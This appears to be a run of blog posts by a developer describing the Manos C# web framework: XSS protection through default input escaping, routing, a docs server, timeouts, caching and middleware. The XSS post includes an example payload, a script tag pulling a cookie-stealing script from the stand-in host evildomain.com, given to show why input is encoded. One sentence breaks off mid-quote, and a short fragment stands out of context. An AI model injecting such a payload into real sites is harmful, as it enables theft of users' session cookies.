I’ve been working on making Manos more secure by default. One of the big things I worry about is XSS attacks. I’m sure that most people understand XSS attacks, but here’s a quick example of how things could go bad.
In the Shorty app that’s included in the (upcoming) first release of Manos, we have a method like this:
void SubmitLink (Shorty app, IManosContext ctx, string link)
{
// Save the link
}
and one that looks like this:
void LinkInfo (Shorty app, IManosContext ctx, string id)
{
var info = // ... get the link ect.
ctx.Response.WriteLine (@"<html>
<head><title>Welcome to Shorty</title></head>
<body>
{0} was clicked {1} times.
</body>", info.Link, info.Clicks);
}
So imagine someone tried to submit this as a link:
<script type=text/javascript src="http://evildomain.com/steal-cookies.js">
Now any time someone visits the LinkInfo page for that domain, they are going to run the steal-cookies.js script from evildomain.com. Which will presumably steal your cookies. Right?
Wrong. It turns out Manos encodes all user input by default. All strings that come from the url, form data, or as params are not stored as strings, they are stored as an UnsafeString and escaped before being passed into methods as a parameter.
So when our SubmitLink function is called we don’t get “
Its not implemented yet, but there will be a CleanHtml property added eventually. This will get a valid html string from the value, using a white list of allowed elements/attributes.
On going
This helps protect against one attack vector and I think is a good start. However, there are still a lot of other things to worry about. The next issue I want to work on is Cross-site request forgery attacks.
As always, and feedback or advice is appreciated.
Originally I was planning on just hosting the Manos docs on the project site. I’ve never really used offline doc tools like Monodoc for whatever reason I’ve always just been more comfortable using my browser to read docs online.
Unfortunately, there are two issues with online docs.
The first one is obvious. Sometimes you can’t access them. Either because you don’t have internet, or something is broken on their side.
The second problem is a little more subtle but can cause big problems. You need to make sure the docs you are reading match the version you have installed. In some cases, even the type of installation you have is important. For example, file layout might be different across different operating systems.
To combat these two issues I’ve added a -docs command to the manos tool. This will start a manos server on port 8181 that hosts the docs that were installed with manos. So you can go to http://localhost:8181/ in your browser and know you are reading the correct version of docs for your manos install.
One of the use cases for Manos is embedding a web server in your app. So it would be natural to do something like this:
int level_of_foo = 15;
.....
var app = new FooApp ("Some foo string", level_of_foo);
AppHost.Start (app);
However there are two other ways you can invoke a manos app. You can compile your app into an exe (not supported yet) or you can use the manos tool in your application directory:
manos -server
This will find your app’s .dll, load it and host your app.
To handle the second two scenarios your app needed a default constructor. I don’t want to force people to create stub applications just to have constructor parameters, so the manos -server command now supports passing arguments to the constructor on the command line. It does type conversion on all the params, finds a constructor that matches what was passed, and creates your app.
So this does the same thing as the top example:
manos -server "Some foo string" 15
You can call Contains with a Type as the key, but you can’t call Add with a Type as the key.
And for some reason apps rely on this behavior.
After looking at some ugly regexs I decided to implement a simple pattern matching system for routes in Manos. You can now use strings like this for your routes:
[Get ("/articles/{slug}/{page}")]
public static void Articles (ManosApp app, IManosContext ctx, string slug, int page)
{
}
[Route ("/{foo}/{bar}")]
public void Foo (IManosContext ctx)
{
}
Everything inside of the { } block is matched as a string, but can be converted to any type by the action invoker.
If you really want a { in your url string (even though its an illegal url char) you can double them up for escaping {{ or }}. Note: I might just disable this feature since its kind of pointless.
I spent my memorial day updating the routing system in Manos to allow for parameterized actions. Originally actions in Manos were simply a delegate that returned void and took an IManosContext param. This made some things simple, but also made the API a little clunky to work with. Here’s an example of what things sometimes looked like:
[Get ("/Article/(?<slug>.*?)/(?<index>\\d+?)")]
public void Foo (IManosContext ctx)
{
MyManosApp app = (MyManosApp) ctx.App;
if (app.SomePropOnMyApp) {
// ....
}
string slug = ctx.Request.Data ["slug"];
int index = Int32.Parse (ctx.Request.Data ["index"];
}
Having to cast the IManosContext::ManosApp to the applications App type is rather awkward and is something that has bothered me for awhile. Unfortunately because Actions are a static delegate and the context is a static interface, there wasn’t much I could do about it.
On top of that, the Int32.Parse is rather scary looking.
Today I came up with a system that allows me to pass an application specific ManosApp type to the actions and as a side benefit I can also pass in request data as parameters. So the updated example looks like this:
[Get ("/Article/(?<slug>.*?)/(?<index>\\d+?)")]
public void Foo (MyManosApp app, IManosContext ctx, string slug, int index)
{
if (app.SomePropOnMyApp) {
// ....
}
}
Implicit Routes
Implicit routes are still available, anything that has the correct signature will have an implicit route based on method name added for it:
public void Bar (IManosContext ctx)
{
}
public void Baz (MyManosApp app, IManosContext ctx, string foo)
{
}
I also added explicit routing for ManosModule properties:
[Route ("/Articles")]
public ArticlesModule Articles {
get {
// ...
}
}
Routing Methods
Finally, all of the routing methods are still available, you can still do stuff like this if you want:
public MyApp ()
{
Get ("/Foobar", ctx => ctx.Response.Write ("Hello, Foobar"));
Route ("/Admin", new AdminModule ());
}
OH GOD MY EYES!
Writing this blog entry has made me realize the need for something simpler than regex for pattern matching. Luckily Manos was designed to have a swappable matching system, so users can easily add their own matching system and I can take advantage of that system to make my new system. Expect to see something like this in Manos really soon:
[Get ("/Article/{slug}/{index}")]
public static void Foo (IManosContext ctx)
{
}
More info
Its rough, but here is my first draft on the routing docs:
http://github.com/jacksonh/manos/blob/master/docs/routing.md
Just added some more docs on Manos.
Timeouts
The first doc I added is on the timeout system for scheduling periodic tasks to be performed in the Manos pipeline. Here’s a quick example:
MyManosApp ()
{
AddTimeout (TimeSpan.FromMinutes (5),
RepeatBehavior.Forever,
(app, data) => app.Cache.Clear ());
}
That will clear the application’s object cache every five minutes. You can also specifiy a number of iterations using RepeatBehavior.Iterations (count) or create a custom repeat behavior using the IRepeatBehavior interface.
Timeouts are just for simple tasks, they run in the main message loop, so there aren’t guarantees on when they will fire, and they will not fire if the application is stopped. So timeouts should not be treated as a task scheduler system like django’s Celery project. In the future I will be adding a robust task scheduling system to Manos though.
More info can be found here:
http://github.com/jacksonh/manos/blob/master/docs/timeouts.md
Object Caching
The object cache is simply a server side cache for storing objects by key. This isn’t for view/page caching, this is just for sticking objects in a temporary storage area while the app is running. Right now there is only an in-process cache, but I’m planning on adding a memcached backend this week.
Here’s a quick example:
MyManosApp ()
{
Cache ["foobar"] = "I am the foobar string";
}
The one feature that the cache offers that’s beyond a simple dictionary interface is time based expiration. So if you want your object to go away in 15 minutes, you can just do this:
MyManosApp ()
{
Cache.Set ("foobar",
"I am the foobar string",
TimeSpan.FromMinutes (15));
}
The rest of the doc can be found here:
http://github.com/jacksonh/manos/blob/master/docs/object-cache.md
Coming Soon
Manos is starting to gain some interest and I’m hoping to do a stripped down release in the next couple of weeks. I’m still not happy with the templating system, so that will probably be disabled, but building things like web services should be pretty easy. And you can always build websites using a different templating system like StringTemplate.
I still haven’t done a comprehensive what/why/how document for Manos that will explain what it does, why i think its useful and how it works. I’ve been intentionally avoiding this because I don’t like announcing things that aren’t usable, but unfortunately all my ‘feedback requested’ blog entries lately have done that for me. This document should be out around the same time as the release.
I just committed my first draft of documentation for Manos’s middleware layer. Its a pretty quick and easy read and I’d appreciate any questions, comments, death threats or concerns that you may have. The doc is written in markdown so you can read is pretty easily on github here:
http://github.com/jacksonh/manos/blob/master/docs/middleware.md
Things still need to be fleshed out, especially with some examples of what methods can be called from inside the middleware hooks, but this gives you a basic idea.
The Gist
Middleware gives your application an easy way to “do something” for every request/response transaction that goes into an application.
You get these methods to register middleware:
RegisterMiddleware (IManosMiddleware mw);
RegisterMiddleware (string name, IManosMiddleware mw);
RegisterMiddlewareBefore (IManosMiddleware mw);
RegisterMiddlewareBefore (string name, IManosMiddleware mw);
RegisterMiddlewareAfter (IManosMiddleware mw);
RegisterMiddlewareAfter (string name, IManosMiddleware mw);
ReplaceMiddleware (string name, IManosMiddleware mw);
And your middleware can override any of these methods:
ProcessRequest (IManosContext)
PreProcessAction (IManosContext, IManosTarget)
PostProcessAction (IManosContext)
ProcessError (IManosContext)
From those methods you can easily re-write parts of the request, redirect to another URL, abort the transaction, manipulate the generated html or just log something to disk. Really the sky is the limit.
Most developers will never have to write their own middleware but a lot of really important plumbing pieces of a web framework can be written using middleware. Things such as the auth system, rate limiting, url rewriting, and red/black testing are important components of a web application and will make use of the middleware layer. So its important that I get this part right.